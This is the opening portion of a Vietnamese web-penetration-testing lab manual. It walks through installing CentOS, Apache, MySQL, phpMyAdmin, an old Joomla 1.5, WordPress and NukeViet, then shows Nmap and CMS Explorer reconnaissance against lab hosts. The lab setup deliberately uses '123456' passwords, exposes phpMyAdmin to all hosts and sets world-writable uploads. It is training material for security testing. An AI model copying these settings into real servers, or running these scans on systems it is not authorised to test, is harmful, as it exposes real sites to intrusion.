Anda di halaman 1dari 129

1

Mục lục
Phần 1: Cài đặt môi trường Webserver cho việc tiến hành thử nghiệm Pentesting ...... 3
1. Nguyên lý hoạt động webserver ........................................................................................ 3
2. Remote từ xa tới webserver ................................................................................................ 5
3. Install Ubuntu/CentOS ........................................................................................................ 10
4. Install Apache ....................................................................................................................... 14
5. Install MySQL + PHP ........................................................................................................... 14
6. Install PhpMyAdmin ............................................................................................................ 17
7. Install Joomla/Wordpress/NukeViet ................................................................................ 19
8. Install XAMP, Vertrigo ......................................................................................................... 32
Phần 2: Scan lỗ hổng web ................................................................................................ 38
1. Nmap ....................................................................................................................................... 38
2. Các công cụ scan Joomla.................................................................................................. 41
3. Sử dụng Acunetix, ZAP và các công cụ scan web khác. .......................................... 50
Phần 3: CÁC LOẠI TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY ....................................... 60
1. Các loại tấn công trên Joomla .......................................................................................... 61
2. Các loại tấn công trên Liferay Portal .............................................................................. 72
3. SQL Injection ......................................................................................................................... 73
4 XSS (Cross Site Scripting) ................................................................................................. 80
5 Joomla Security Plugin ...................................................................................................... 85
6 Htaccess ................................................................................................................................. 86
7 Cài đặt công cụ bảo mật Modsecurity ............................................................................ 89
Phần 4: Tăng cường bảo mật website với https và hsts .............................................. 97
1. Giao thức HTTP ........................................................................................................................ 98
2. Đăng ký vài cài đặt SSL certificate: Comodo, GeoTrust, DigiCert, Verisign ......... 104
3. Cài đặt SSL trên webserver và kích hoạt https ............................................................. 115
4. Scan HTTP version ................................................................................................................ 116
5. Chuyển hướng webserver chạy HTTPS thay vì HTTP ................................................. 118
6. Cơ chế hoạt động HSTS, thiết lập HSTS trên webserver............................................ 119
Phần 5: ICT Index ............................................................................................................ 125
1. Giới thiệu ................................................................................................................................. 126
2. Nội dung ................................................................................................................................... 127
3. Ví dụ về Việt Nam ICT Index 2017: .................................................................................... 128

2
Phần 1: Cài đặt môi trường Webserver cho việc tiến hành
thử nghiệm Pentesting
1. Nguyên lý hoạt động webserver
2. Remote từ xa tới webserver
3. Install Ubuntu/CentOS
4. Install Apache
5. Install MySQL + PHP
6. Install PhpMyAdmin
7. Install Joomla/Wordpress/NukeViet
8. Install XAMP, Vertrigo

1. Nguyên lý hoạt động webserver


"Web server" có thể là phần cứng hoặc phần mềm, hoặc cả hai.
1. Ở khía cạnh phần cứng, một web server là một máy tính lưu trữ các file thành phần
của một website (ví dụ: các tài liệu HTML, các file ảnh, CSS và các file JavaScript)
và có thể phân phát chúng tới thiết bị của người dùng cuối (end-user). Nó kết nối tới
mạng Internet và có thể truy cập tới thông qua một tên miền giống như mozilla.org.
2. Ở khía cạnh phần mềm, một web server bao gồm một số phần để điều khiển cách
người sử dụng web truy cập tới các file được lưu trữ trên một HTTP server(máy chủ
HTTP). Một HTTP server là một phần mềm hiểu được các URL (các địa chỉ web) và
HTTP
Ở mức cơ bản nhất, bất cứ khi nào một trình duyệt cần một file được lưu trữ trên một
web server, trình duyệt request (yêu cầu) file đó thông qua HTTP. Khi một request tới
đúng web server (phần cứng), HTTP server (phần mềm) gửi tài liệu được yêu cầu trở
lại, cũng thông qua HTTP.
Để release một website, chúng ta cần một static hoặc dynamic web server.
Một static web server, hoặc stack, bao gồm một máy tính (hardware) với một HTTP
server (phần mềm). Chúng ta gọi nó là "static" bởi vì server (máy chủ) gửi các file nó lưu
trữ "nguyên vẹn" (as-is) tới trình duyệt mà ta đang chạy.
Một dynamic web server bao gồm một static web server cộng với các phần mềm mở
rộng, phổ biến nhất là một application server (máy chủ ứng dụng) và một database.
Chúng ta gọi nó là "dynamic" bởi vì application server cập nhật các file được lưu trữ
trước khi gửi chúng tới tình duyệt của chúng ta thông qua HTTP server.
Tìm hiểu sâu hơn
Để lấy một trang web, như đã nói, trình duyệt sẽ gửi một request tới web server, nó sẽ
tìm kiếm file được yêu cầu được lưu trữ trên ổ đĩa của nó. Khi tìm thấy file, server đọc
nó, xử lý nếu cần, và gửi nó tới trình duyệt.
Lưu trữ các file (Hosting files)
Đầu tiên, một web server phải lưu trữ các file của website, đó là các tài liệu HTML và
các tài nguyên liên quan đến nó, bao gồm các ảnh, file CSS, file JavaScript, fonts và
videos.

3
Về mặt kỹ thuật, ta có thể lưu trữ tất cả các file trên máy tính của mình, nhưng có nhiều
lợi ích hơn khi lưu trữ chúng trên một máy chủ riêng biệt như:
 luôn luôn sẵn sàng (up and running)
 luôn luôn kết nối tới mạng Internet
 có một địa chỉ IP cố định
 được bảo dưỡng bởi nhà cung cấp (third-party provider)
Giao tiếp thông qua HTTP
Thứ hai, một web server hỗ trợ HTTP (Giao thức truyền phát siêu văn bản - Hypertext
Transfer Protocol). Như tên gọi, HTTP là cách truyền các siêu văn bản - hypertext (ví dụ:
các tài liệu web) giữa hai máy tính.
Một giao thức là một tập hợp các quy tắc để kết nối giữa hai máy tính. HTTP là một giao
thức textual, stateless.
Textual
Tất cả các lệnh là văn bản thuần túy (plain-text) và con người có thể đọc được.
Stateless
Cả server và client không nhớ kết nối trước đó. Ví dụ, nếu chỉ có HTTP, một server
không thể nhớ mật khẩu ta đã nhập hoặc bước nào mà chúng ta đã làm trong một giao
dịch. Ta cần một application server cho những nhiệm vụ như vậy.
HTTP cung cấp các quy tắc rõ ràng, về cách một client và server giao tiếp với nhau. Bây
giờ, ta chỉ cần biết những thứ này:
 Chỉ client có thể tạo các HTTP request tới các server. Các server chỉ có thể đáp trả
HTTP request của client.
 Khi yêu cầu một file thông qua HTTP, client phải cung cấp URL của file.
 Web server phải trả lời mọi HTTP request, ít nhất với một thông điệp lỗi (error
message).

Trên một web server, HTTP server chịu trách nhiệm xử lý và trả lời các request đến.
1. Khi nhận một request, một HTTP server sẽ kiểm tra xem URL được yêu cầu có khớp
với một file hiện có không.
2. Nếu có, web server gửi nội dung file trả lại trình duyệt. Nếu không, một application
server sẽ tạo ra file cần thiết.
3. Nếu không thể xử lý, web server trả lại một thông điệp lỗi cho trình duyệt, phổ biến
nhất là "404 Not Found". (Đó là lỗi phổ biến, cái mà nhiều nhà thiết kế web dành khá
nhiều thời gian để thiết kế 404 error page).
Nội dung static vs dynamic
- Nói chung, một server có thể phục vụ cả nội dung static hoặc dynamic. "Static" có
nghĩa là "được phục vụ nguyên vẹn" (served as-is). Các static website là dễ dàng
nhất để thiết lập, vì thế nên tạo một static site trước tiên.

4
- "Dynamic" có nghĩa là server xử lý nội dung hoặc thậm chí tạo ra chúng với dữ liệu
từ database. Giải pháp này linh hoạt hơn, nhưng stack kỹ thuật trở lên khó khăn hơn
để xử lý, làm cho việc xây dựng website trở lên phức tạp hơn.
- Lấy ví dụ trang web mà ta đang đọc hiện nay. Một web server lưu trữ (hosting) nó,
có một application server lấy nội dung bài viết từ một database, định dạng nó, đẩy nó
vào trong HTTP template, và gửi kết quả cho chúng ta. Trong trường hợp này,
application server được gọi là Kuma và được xây dựng với Python (sử dụng
framework Django). Mozilla team xây dựng Kuma cho nhu cầu riêng của MDN,
nhưng nhiều ứng dụng tương tự được xây dựng trên nhiều công nghệ khác.
- Có rất nhiều application server và thật khó để gợi ý cụ thể. Một vài application server
phục vụ các loại website cụ thể như: blogs, wikis, hay e-shop, được gọi là CMSs
(các hệ quản trị nội dung - content management systems).

2. Remote từ xa tới webserver


- Server cho phép client remote từ xa:
o Linux (centOS, Ubuntu, …)
o Windows (Windows Server 2003,2008,2012,2016,…)
- Linux Server:
o X2Go (dành cho Graphic mode)
 Server (Linux)
 Install EPEL: rpm -ivh
http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-
1.noarch.rpm
 Install X2Go Server:
o yum -y install x2goserver-xsession
 install graphical Desktop environment trên CentOS Server:
o yum -y groupinstall "Xfce"
o reboot
 Nếu có sử dụng firewall thì cho phép ssh kết nối vào Server:
o firewall-cmd --permanent --zone=public --add-
service=ssh
o firewall-cmd –reload
 Client (Windows or Linux)
 Download X2Go Client: https://code.x2go.org/releases/binary-
win32/x2goclient/releases/4.1.1.1-2018.03.01/ dành cho
Windows
 Mở X2Go và cấu hình:

5
 Tab session:
o Session name: XFCE
o Host: <IP server, ex: 192.168.1.11>
o Login: <username, ex: root>
o Session type: XFCE

 Tab Connection:
o Connection speed: LAN nếu dùng nội bộ
o Method: 16m-jpeg
o Image quality: 7

 Tab Media:
o Sound: Uncheck enable sound support
o Client side printing support: Uncheck
 Sau khi cấu hình xong, nhấn vào XFCE kế bên icon

6
 Nhập password => OK

 Note: Chọn Yes nếu có yêu cầu xác thực RSA key
 Note: Chọn Use default nếu không có thay đổi nào
 Giao diện XFCE sau khi remote vào server sử dụng GUI

o SSH (dành cho Text mode):


 Sử dụng các tools remote hỗ trợ text mode:
 Putty:
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
dành cho Windows

7
o Note: Chọn Yes nếu có thông báo bất kì

 Xshell (version 5)
https://www.netsarang.com/download/down_form.html?code=6
22
 Nhập các thông tin bên dưới:

o License type: chọn Home & School user


o Check Email để lấy link download file.

- Windows Server:
o Sử dụng Remote Desktop Connection
 Windows Server phải cho phép client Remote bằng cách Enable
Remote (tích vào ô Allow connections from computers running any
version of Remote Desktop (less secure)):

8
 Từ máy client mở Remote Desktop Connection và nhập IP server

 Nhập User và password thuộc Server

 Chọn Yes để xác thực yêu cầu Certificate

9
 Giao diện remote đến Server

Các tools khác: Forticlient, Teamviewer, AeroAdmin, …


3. Install Ubuntu/CentOS

- Chuẩn bị:
o VMWare workstation 12
o File CentOS minimum (định dạng iso)
- Tiến hành:
o Khởi tạo Vmware cài CentOS với cấu hình như sau:
 Full name: điền họ tên đầy đủ
 Username: tên đăng nhập vào Server
 Password: mật khẩu đăng nhập vào Server (mật khẩu áp dụng cho cả
user root)

 Maximum disk size: 10GB


 Memory: 512MB
 Network Adapter: Bridged (Automatic)

10
o Tiến hành khởi động Server

o Nếu xuất hiện thông báo chọn Yes

o Trên giao diện, chọn DATE & TIME

11
o Chọn khu vực Việt Nam, sau đó Done

o Chọn NETWORK & HOSTNAME

o Góc bên phải ta nhấn On để kích hoạt interface network

- Ở bên dưới phần Host name: ta có thể chỉnh sửa lại để mặc định, sau đó Done

12
o Chọn SOFTWARE SELECTION

o Tích vào Minimal Install, sau đó Done

o Kéo xuống dưới và nhấn Begin Installation để tiến hành cài đặt CentOS

13
Giao diện sau khi cài đặt CentOS xong
4. Install Apache

- Tiến hành clean-up yum

- Update để có các package mới nhất

- Bắt đầu install apache

- Nếu có sử dụng Firewall trên centOS


o Cho port HTTP và HTTPS mặc định, là port 80 và 443 được phép đi qua
Firewalld

o Khởi động lại firewall

- Cấu hình để Apache luôn chạy khi Boot


o Khởi động Apache:

o Apache sẽ hoạt động khi boot với command

- Các lệnh hữu ích cho Apache


o Kiểm tra trạng thái hiện tại của Apache

o Dừng Apache

Mở trình duyệt và gõ IP hoặc tên host của server CentOS để kiểm tra chắc chắn Apache
đã hoạt động.
5. Install MySQL + PHP
a. Install MySQL

14
- Update system

- Install wget để download các gói cần thiết từ website cụ thể

- Tải và thêm repository, sau đó update

- Cài đặt MySQL như bình thường và start dịch vụ. Trong quá trình cài đặt, bạn sẽ
được hỏi nếu chấp nhận kết quả từ xác thực GPG của file định dạng rpm. Nếu
không có lỗi gì xuất hiện thì nhấn y.

- Sau khi install xong, tiến hành cài đặt cho lần đầu truy cập MySQL

=> Enter

=> set root password : Y


=> Đặt password cho tài khoản root access vào MySQL

- Để đăng nhập vào MySQL với tài khoản root

o No sẽ nhắc nhập password cho root mà bạn dã gán khi script


mysql_secure_installation đã chạy.
- Để kiểm tra toàn bộ các command có trong MySQL, dùng \h

15
b. Install PHP

- PHP là thành phần xử lý code để hiển thị nội dung web động. Nó có thể chạy các
script, kết nối đến database MySQL để lấy thông tin, và chuyển nội dung được xử lí
đến webserver để hiển thị.
- Tiến hành install php và php-mysql:

- Restart lại httpd để php hoạt động

- Để cải tiến thêm các chức năng của PHP, chúng ta có tìm thêm các module cần thiết
cho PHP, để tìm các module PHP có sẳn, sử dụng câu lệnh
o Yum search php-
- Được kết quả

16
- Để tiến hành install toàn bộ các module ta dùng command:
o Yum –y install php*
- Note: nếu có xảy ra lỗi conflict module đã install thì chúng ta sẽ chỉnh command lại
như sau:
o Yum –y install php* --skip-broken
- Tiến hành test PHP trên CentOS bằng cách tạo info.php trong /var/www/html/ với
command
o Sudo vi /var/www/html/info.php
- Điền nội dung:
o <?php phpinfo(); ?>
o sau đó save file lại
- Test bằng trình duyệt web với url: http://<IP server>/info.php

6. Install PhpMyAdmin

- Tiến hành install epel-release lấy repo chứa PHPMyAdmin

17
o Yum –y install epel-release
- Cài đặt phpmyadmin
o Yum –y install phpmyadmin
- Chỉnh sửa lại các thông số cần thiết
o Vi /etc/httpd/conf.d/phpMyAdmin.conf
o Tab <Directory /usr/share/phpMyAdmin>
 Tab <RequireAny> của Apache 2.4
 Comment Require ip 127.0.0.1
 Comment Require ip ::1
 Thêm Require all granted
 Tab <RequireAny> của Apache 2.2
 Comment Allow from 127.0.0.1
 Comment Allow from ::1
 Thêm Require all granted
o Tab < Directory /usr/share/phpMyAdmin/setup/>
 Tab <RequireAny> của Apache 2.4
 Comment Require ip 127.0.0.1
 Comment Require ip ::1
 Thêm Require all granted
 Tab <RequireAny> của Apache 2.2
 Comment Allow from 127.0.0.1
 Comment Allow from ::1
 Thêm Require all granted
o Save file.
- Khởi động lại httpd để phpmyadmin hoạt động
o Systemctl restart httpd
- Khởi động phpmyadmin trên trình duyệt với url
o http://<Ip server>/phpmyadmin

o Username : root
o Password : <là mật khẩu đã đặt cho root lúc cài đặt MySQL>
- Giao diện chính của phpmyadmin sau khi đăng nhập

18
7. Install Joomla/Wordpress/NukeViet
a. Install Joomla
- Vào database với user root và password của root
o Mysql –u root –p
o Enter password: <password của root>
- Tạo cơ sở dữ liệu joomla
o CREATE DATABASE joomla;
- Tạo user cho CSDL joomla với password 123456
o CREATE USER user1@joomlapentest.net IDENTIFIED BY ‘123456’;
- Cuối cùng gán quyền cho user này
o GRANT ALL ON joomla.* TO user1@joomlapentest.net
- Để user hiện tại có thể access vào MySQL
o Flush privileges;
- Thoát MySQL
o Exit
- Sauk hi tạo xong database, tiến hành download Joomla về với command
o Cd /tmp
o Wget https://downloads.joomla.org/cms/joomla15/1-5-26/joomla_1-5-26-stable-
full_package-zip?format=zip
o Mv joomla_1-5-26-stable-full_package-zip?format=zip joomla-1-5-0.zip
- Tiến hành giải nén file đã tải vào thư mục joomla đã tạo phía trên:
o sudo unzip -q joomla*.zip -d /var/www/html
o Note: Nếu server chưa cài đặt trình giải nén thì tiến hành cài đặt:
 Yum –y install zip unzip
- Thay đổi ownership của thư mục sang Apache2 và permission
o Sudo chown –R apache:apache /var/www/html/
o Sudo chmod 755 /var/www/html/
- Restart Apache2
o Service httpd restart
- Tiến hành Install joomla thông qua trình duyệt web với url
o http://<IP server>/
- Có giao diện:

19
- Select Language: có thể chọn English hoặc Tiếng Việt tùy ý

- Chọn Next

20
- Cấu hình chính:

o Database Configuration:
 Database Type: MySQLi
 Hostname: localhost
 Username: root
 Password: <pass MySQL của root>
 Database Name: joomla

- Chọn No => Next

21
 Main Configuration
 Site name: Cyborg Security
 Confirm the Admin E-mail and Password
 Email: user1@joomlapentest.net
 Password: 123456
 Confirm Administrator Password: 123456
o Note: Password có thể thay đổi trong MySQL
 Click Install sample Data
 Sau đó nhấn Next

- Đến đây đã install joomla thành công


- Xóa file installation trong joomla sau khi install:

22
o Rm –rf /var/www/html/joomla/installation
- Chạy lệnh sau nếu không tìm thấy configuration.php trong folder
/var/www/html/joomla
o chcon -R -t httpd_sys_rw_content_t /var/www/html
- Tạo thư mục joomla trong /var/www/html và move toàn bộ file trong html vào thư
mục joomla
o Mkdir /var/www/html/joomla
o Mv /var/www/html/* /var/www/html/joomla
o Note: nếu xuất hiện lỗi: mv: cannot move ‘/var/www/html/joomla’ to a
subdirectory of itself, ‘/var/www/html/joomla/joomla’ thì có thể bỏ qua
- Restart httpd:
o Service httpd restart hoặc systemctl restart httpd
- Mở trang chính của joomla theo url
o http://<IP server>/jl

- Đăng nhập bằng admin/123456

23
b. Install Wordpress
- Tạo thư mục wordpress trong /var/www/html
o Mkdir wordpress /var/www/html
- Vào database với user root và password của root
o Mysql –u root –p
o Enter password: <password của root>
- Tạo cơ sở dữ liệu JoomlaDB
o CREATE DATABASE WordpressDB;
- Tạo user cho CSDL WordpressDB với password 123456
o CREATE USER wordpressuser@anninhmang.net IDENTIFIED BY
‘123456’;
- Cuối cùng gán quyền cho user này
o GRANT ALL ON WordpressDB.* TO wordpressuser@anninhmang.net
- Để user hiện tại có thể access vào MySQL
o Flush privileges;
- Thoát MySQL
o Exit
- Restart Apache
o Service httpd restart
- Tiến hành tải file wordpress từ trang chủ
o Cd /tmp
o Wget http://wordpress.org/latest.tar.gz
- Giải nén file:
o Tar xzvf latest.tar.gz
- Move toàn bộ file trong thư mục wordpress vào /var/www/html/wordpress, set quyền
và set owner cho wordpress
o Mv wordpress/* var/www/html/wordpress
o Chmod –R 755 /var/www/html/wordpress
o Chown –R apache:apache /var/www/html/wordpress/
- Đổi tên wp-config-sample.php thành wp-config.php
o Cp wp-config-sample.php wp-config.php
- Cấu hình và chỉnh sửa lại để tiến hành install wordpress
o vi wp-config.php

24
o Dòng define('DB_NAME', 'database_name_here');
 Database_name_here => WordpressDB
o Dòng define('DB_USER', username_here);
 Username_here => root
o Dòng define('DB_PASSWORD', 'password_here');
 Password_here => password của root trong MySQL
- Save file
- Restart Apache
o Service httpd restart
- Mở trình duyệt, nhập URL
o http://<IP server>/wordpress

- Cấu hình chính:


o Site Title: Cyborg Security
o Username: wordpressuser
o Password: 123456
 Note: có thể thay đổi trong MySQL
o Confirm Password: checked
o Your Email: wordpressuser@anninhmang.net
o Search Engine: checked
o Nhấn Install Wordpress
- Giao diện complete

25
- Nhấn Login

o Username: wordpressuser
o Password : 123456

- Đã install thành công Wordpress

26
c. Install NukeViet

- Tạo thư mục wordpress trong /var/www/html


o Mkdir nukeviet /var/www/html
- Vào database với user root và password của root
o Mysql –u root –p
o Enter password: <password của root>
- Tạo cơ sở dữ liệu JoomlaDB
o CREATE DATABASE NukevietDB;
- Tạo user cho CSDL NukevietDB với password 123456
o CREATE USER nukevietuser@anninhmang.net IDENTIFIED BY ‘123456’;
- Cuối cùng gán quyền cho user này
o GRANT ALL ON NukevietDB.* TO nukevietuser@anninhmang.net
- Để user hiện tại có thể access vào MySQL
o Flush privileges;
- Thoát MySQL
o Exit
- Restart Apache
o Service httpd restart
- Tiến hành tải file wordpress từ trang chủ
o Cd /tmp
o Wget
https://github.com/nukeviet/nukeviet/releases/download/4.3.01/nukeviet
4.3.01setup.zip
- Giải nén file:
o unzip -q nukeviet4.3.01setup.zip -d /var/www/html/
- Set quyền và set owner cho nukeviet
o Chmod –R 755 /var/www/html/nukeviet
o Chown –R apache:apache /var/www/html/nukeviet/
- Giao diện chính với URL:
o http://<Ip sever>/nukeviet

27
Nhấn Next

- Nếu toàn bộ đều là OK có thể nhấn Next


o Trường hợp bị fail là do chưa set chmod cho thư mục nukeviet
o Để set :
 Chmod –R 755 /var/www/html/nukeviet

- Nhấn Next

28
- PHP version not compatible: PHP yêu cầu phiên bản lớn hơn 5.6 và nhỏ hơn 7.2
- Check version PHP của server
o Php –v

- Tiến hành update PHP từ version 5.4.16 lên version 5.6 bằng các command sau:
o yum remove php*
o rpm -Uvh http://rpms.remirepo.net/enterprise/remi-release-7.rpm
o yum -y install yum-utils
o yum update
o yum-config-manager --enable remi-php70
o yum -y install php php-opcache php-pdo php-gd php-xml php-mbstring php-
pecl-zip php-mysql
o systemctl restart httpd.service
- F5 trình duyệt và xem lại

- Nhấn Next

29
- Database Configuration
o Database Type: MySQL 5.x/MariaDB
o Hostname: localhost / Port: 3306
o Username: root
o Password: mật khẩu của root
o Database Name: NukevietDB
o Prefix: nv4
o Nhấn Submit

- Website Info
o Site Name: Cyborg Security
o Admin Account: nukevietuser
o Email: nukevietuser@anninhmang.net
o Password: 123456
o Re-Enter password: 12345678x@X
o Select Question: Đặt câu hỏi bất kì
o Your Answer: Chọn câu trả lời bất kì
o Multi-language Website: check nếu muốn đa ngôn ngữ
o Nhấn Submit

30
- Hoàn thành setup Nukeviet4
- Chmod thư mục upload cùng thư mục con sang 777
o Chmod 777 -R /var/www/html/nukeviet/uploads

- Trang admin

- Trang chủ

31
8. Install XAMP, Vertrigo

a. XAMPP: https://www.apachefriends.org/download.html => tùy vào phiên


bản của Windows 32 hay 64 mà download cho phù hợp.
- Install:

o Chọn Next

32
- Chọn các component muốn Install, sau đó nhấn Next.

- Chọn đường dẫn để install XAMP -> Next


- Mặc định nhấn Next đến khi tiến trình bắt đầu install

- Chờ đợi quá trình Install

33
- Chọn finish và 1 cửa sổ xuất hiện

- Chọn cờ USA -> save

- Start Apache và MySQL service.

34
- Mở trình duyệt và đi tới localhost, đã install XAMP
- Link chứa các file html or php: C:\xampp\htdocs
- Có thể install Wordpress, Joomla hay Nukeviet tại thư mục này.

b. Vertrigo: https://www.vswamp.com/ => tùy vào version của Windows mà


chọn download thích hợp

- Install:

- Chọn ngôn ngữ phù hợp -> OK -> Next

35
- Tiến hành để cấu hình mặc định hoặc chỉnh sửa cho phù hợp, Sau đó Next đến khi tiến trình
bắt đầu cài đặt

- Chờ đợi quá trình install hoàn tất -> finish

- Chọn Hide this windows and start server

36
- Link chứa các file html, php hoặc folder chính để hiển thị trên browser: C:\Program
Files\VertrigoServ\www
- Nếu muốn xem username và password của PhpmyAdmin hoặc các account có liên
quan:

o Chọn Help and readme

37
Phần 2: Scan lỗ hổng web
- Mục tiêu: Sử dụng công cụ và tương tác bằng tay để quét và thống kê cấu trúc
website, scan tìm kiếm lỗ hổng website.
- Nội dung:
o Sử dụng nmap
o Các công cụ scan joomla
o Sử dụng Acunetix, ZAP và các công cụ scan web khác.
o Trường hợp manual
o Trích xuất report.

1. Nmap
a. Khái niệm

- Nmap là một công cụ bảo mật được phát triển bởi Floydor, ban đầu nó chỉ là một
tool *nix nhưng về sau đã phát triển rất mạnh mẽ phù hợp với nhiều nền tảng và
phát triển cả giao diện UI.
- Nmap (Network Mapped) là một phần mềm mã nguồn mở dùng để quét đường
mạng và dò ra nhiều thông tin hữu ích trên máy chủ. Nmap không chỉ dùng để thu
thập thông tin trên máy chủ mà còn hữu dụng trong việc tìm ra lỗ hổng bảo mật.
- Nmap hỗ trợ quét các kiểu quét sau:
o TCP SYN (half open) scanning
o TCP FIN
o Xmas hay NULL (stealth) scanning
o TCP ftp proxy (bounce attack) scanning,
o SYN/FIN scanning thông qua IP (bypass một số bộ loc)
o TCP ACK và Window scanning
o UDP raw ICMP port unreachable scanning
o ICMP scanning (ping-sweep),
o TCP Ping scanning
o Direct (non portmapper) RPC scanning
o Nhận diện hệ điều hành bằng TCP/IP Fingerprinting
o Reverse-ident scanning
o Vanilla TCP connect() scanning
- Một số tính năng thường hay được sử dụng:
o Kiểm tra xem máy chủ có đang được mở (online) hay không?
o Phát hiện những cổng nào đang được mở trên máy chủ.
o Xác định được máy chủ sử dụng những dịch vụ nào, được chạy trên cổng
tương ứng nào và phiên bản là gì?.
o Kiểm tra xem máy chủ chạy trên hệ điều hành nào và phiên bản của hệ điều
hành đó.
o Phát hiện ra lỗ hổng bảo mật.
- Đánh giá: Linh hoạt, mạnh mẽ, di động, dễ sử dụng, miễn phí, tài liệu nghiên cứu tốt,
được hỗ trợ, phổ biến, giải thưởng…
b. Sử dụng nmap để scan các port chính.
i. Windows:

- Dùng Zenmap để scan url: anninhmang1.net/ với profile là Slow comprehensive


scan

38
- Tab Nmap Output

- Tab Posts / Hosts:


o Port 22: SSH service
o Port 80: HTTP service, nền apache
o Port 3306: MySQL service version 5.6
o Các port trên chạy giao thức TCP
o Các port còn lại chạy giao thức UDP

39
- Tab Topology

- Host Details:
o Open port : 22, 80, 3306
o IP: 1.2.3.6
o Mac address: 00:0c:29:c7:ec:0e
o Hostname: anninhmang1.net
o OS: Linux 3.2 – 4.9

ii. Sử dụng Kali Linux


- IP victim: 1.2.3.6
- Tìm các port đang open trên server
o Nmap 1.2.3.6

o Các port open: 22, 80, 3306


- Tìm các service đang lắng nghe trên port trên Server
o Nmap –sV 1.2.3.6

40
o Port 22: Chạy OpenSSH 7.4
o Port 80: Apache service
o Port 3306: MySQL service (version 5.6.40)
o Mac Address: 00:0c:29:c7:ec:0e, server đang chạy trên máy ảo VMware
- Tìm Anonymous FTP Logins trên server
o Nmap –sC 1.2.3.6 –p 21

o Port 21: Closed.

2. Các công cụ scan Joomla


a. CMS Explorer:
- Là tool tự động được sử dụng để tìm và đưa ra các module, plugins, components và
themes mà một web CMS cụ thể đang sử dụng. Nó có các chức năng đưa ra các file
ẩn/ file thư viện mà về cơ bản không thể truy cập bởi web client. Nó có thể phục vụ
nhiều mục đích khác nhau như search OSVDB tìm lỗ hổng, etc.
- Câu lệnh chính:
o ./cms-explorer.pl –url http://1.2.3.3/ –type Joomla
root@kali:~/Desktop/cms-explorer-master# ./cms-explorer.pl -url http://1.2.3.3/ -
type Joomla
*****************************************************************
WARNING: No osvdb.org API key defined, searches will be disabled.
*****************************************************************

*******************************************************
Beginning run against http://1.2.3.3/...
Testing themes from joomla_themes.txt...
Theme Installed: templates/beez/
Theme Installed: templates/rhuk_milkyway/

41
Theme Installed: templates/system/
Testing plugins...
Plugin Installed: components/com_banners/
Plugin Installed: components/com_contact/
Plugin Installed: components/com_content/
Plugin Installed: components/com_mailto/
Plugin Installed: components/com_media/
Plugin Installed: components/com_newsfeeds/
Plugin Installed: components/com_poll/
Plugin Installed: components/com_search/
Plugin Installed: components/com_user/
Plugin Installed: components/com_weblinks/
Plugin Installed: components/com_wrapper/
Plugin Installed: modules/mod_archive/
Plugin Installed: modules/mod_banners/
Plugin Installed: modules/mod_breadcrumbs/
Plugin Installed: modules/mod_custom/
Plugin Installed: modules/mod_feed/
Plugin Installed: modules/mod_footer/
Plugin Installed: modules/mod_latestnews/
Plugin Installed: modules/mod_login/
Plugin Installed: modules/mod_mainmenu/
Plugin Installed: modules/mod_mostread/
Plugin Installed: modules/mod_newsflash/
Plugin Installed: modules/mod_poll/
Plugin Installed: modules/mod_random_image/
Plugin Installed: modules/mod_related_items/
Plugin Installed: modules/mod_search/
Plugin Installed: modules/mod_sections/
Plugin Installed: modules/mod_stats/
Plugin Installed: modules/mod_syndicate/
Plugin Installed: modules/mod_whosonline/
Plugin Installed: modules/mod_wrapper/

*******************************************************
Summary:
Theme Installed: templates/beez/
URL http://1.2.3.3/templates/beez/
Theme Installed: templates/rhuk_milkyway/
URL http://1.2.3.3/templates/rhuk_milkyway/
Theme Installed: templates/system/
URL http://1.2.3.3/templates/system/
Plugin Installed: components/com_banners/
URL http://1.2.3.3/components/com_banners/
URL http://1.2.3.3/index.php?option=com_banners
Plugin Installed: components/com_contact/
URL http://1.2.3.3/components/com_contact/
URL http://1.2.3.3/index.php?option=com_contact
Plugin Installed: components/com_content/
URL http://1.2.3.3/components/com_content/
URL http://1.2.3.3/index.php?option=com_content

42
Plugin Installed: components/com_mailto/
URL http://1.2.3.3/components/com_mailto/
URL http://1.2.3.3/index.php?option=com_mailto
Plugin Installed: components/com_media/
URL http://1.2.3.3/components/com_media/
URL http://1.2.3.3/index.php?option=com_media
Plugin Installed: components/com_newsfeeds/
URL http://1.2.3.3/components/com_newsfeeds/
URL http://1.2.3.3/index.php?option=com_newsfeeds
Plugin Installed: components/com_poll/
URL http://1.2.3.3/components/com_poll/
URL http://1.2.3.3/index.php?option=com_poll
Plugin Installed: components/com_search/
URL http://1.2.3.3/components/com_search/
URL http://1.2.3.3/index.php?option=com_search
Plugin Installed: components/com_user/
URL http://1.2.3.3/components/com_user/
URL http://1.2.3.3/index.php?option=com_user
Plugin Installed: components/com_weblinks/
URL http://1.2.3.3/components/com_weblinks/
URL http://1.2.3.3/index.php?option=com_weblinks
Plugin Installed: components/com_wrapper/
URL http://1.2.3.3/components/com_wrapper/
URL http://1.2.3.3/index.php?option=com_wrapper
Plugin Installed: modules/mod_archive/
URL http://1.2.3.3/modules/mod_archive/
Plugin Installed: modules/mod_banners/
URL http://1.2.3.3/modules/mod_banners/
Plugin Installed: modules/mod_breadcrumbs/
URL http://1.2.3.3/modules/mod_breadcrumbs/
Plugin Installed: modules/mod_custom/
URL http://1.2.3.3/modules/mod_custom/
Plugin Installed: modules/mod_feed/
URL http://1.2.3.3/modules/mod_feed/
Plugin Installed: modules/mod_footer/
URL http://1.2.3.3/modules/mod_footer/
Plugin Installed: modules/mod_latestnews/
URL http://1.2.3.3/modules/mod_latestnews/
Plugin Installed: modules/mod_login/
URL http://1.2.3.3/modules/mod_login/
Plugin Installed: modules/mod_mainmenu/
URL http://1.2.3.3/modules/mod_mainmenu/
Plugin Installed: modules/mod_mostread/
URL http://1.2.3.3/modules/mod_mostread/
Plugin Installed: modules/mod_newsflash/
URL http://1.2.3.3/modules/mod_newsflash/
Plugin Installed: modules/mod_poll/
URL http://1.2.3.3/modules/mod_poll/
Plugin Installed: modules/mod_random_image/
URL http://1.2.3.3/modules/mod_random_image/
Plugin Installed: modules/mod_related_items/

43
URL http://1.2.3.3/modules/mod_related_items/
Plugin Installed: modules/mod_search/
URL http://1.2.3.3/modules/mod_search/
Plugin Installed: modules/mod_sections/
URL http://1.2.3.3/modules/mod_sections/
Plugin Installed: modules/mod_stats/
URL http://1.2.3.3/modules/mod_stats/
Plugin Installed: modules/mod_syndicate/
URL http://1.2.3.3/modules/mod_syndicate/
Plugin Installed: modules/mod_whosonline/
URL http://1.2.3.3/modules/mod_whosonline/
Plugin Installed: modules/mod_wrapper/
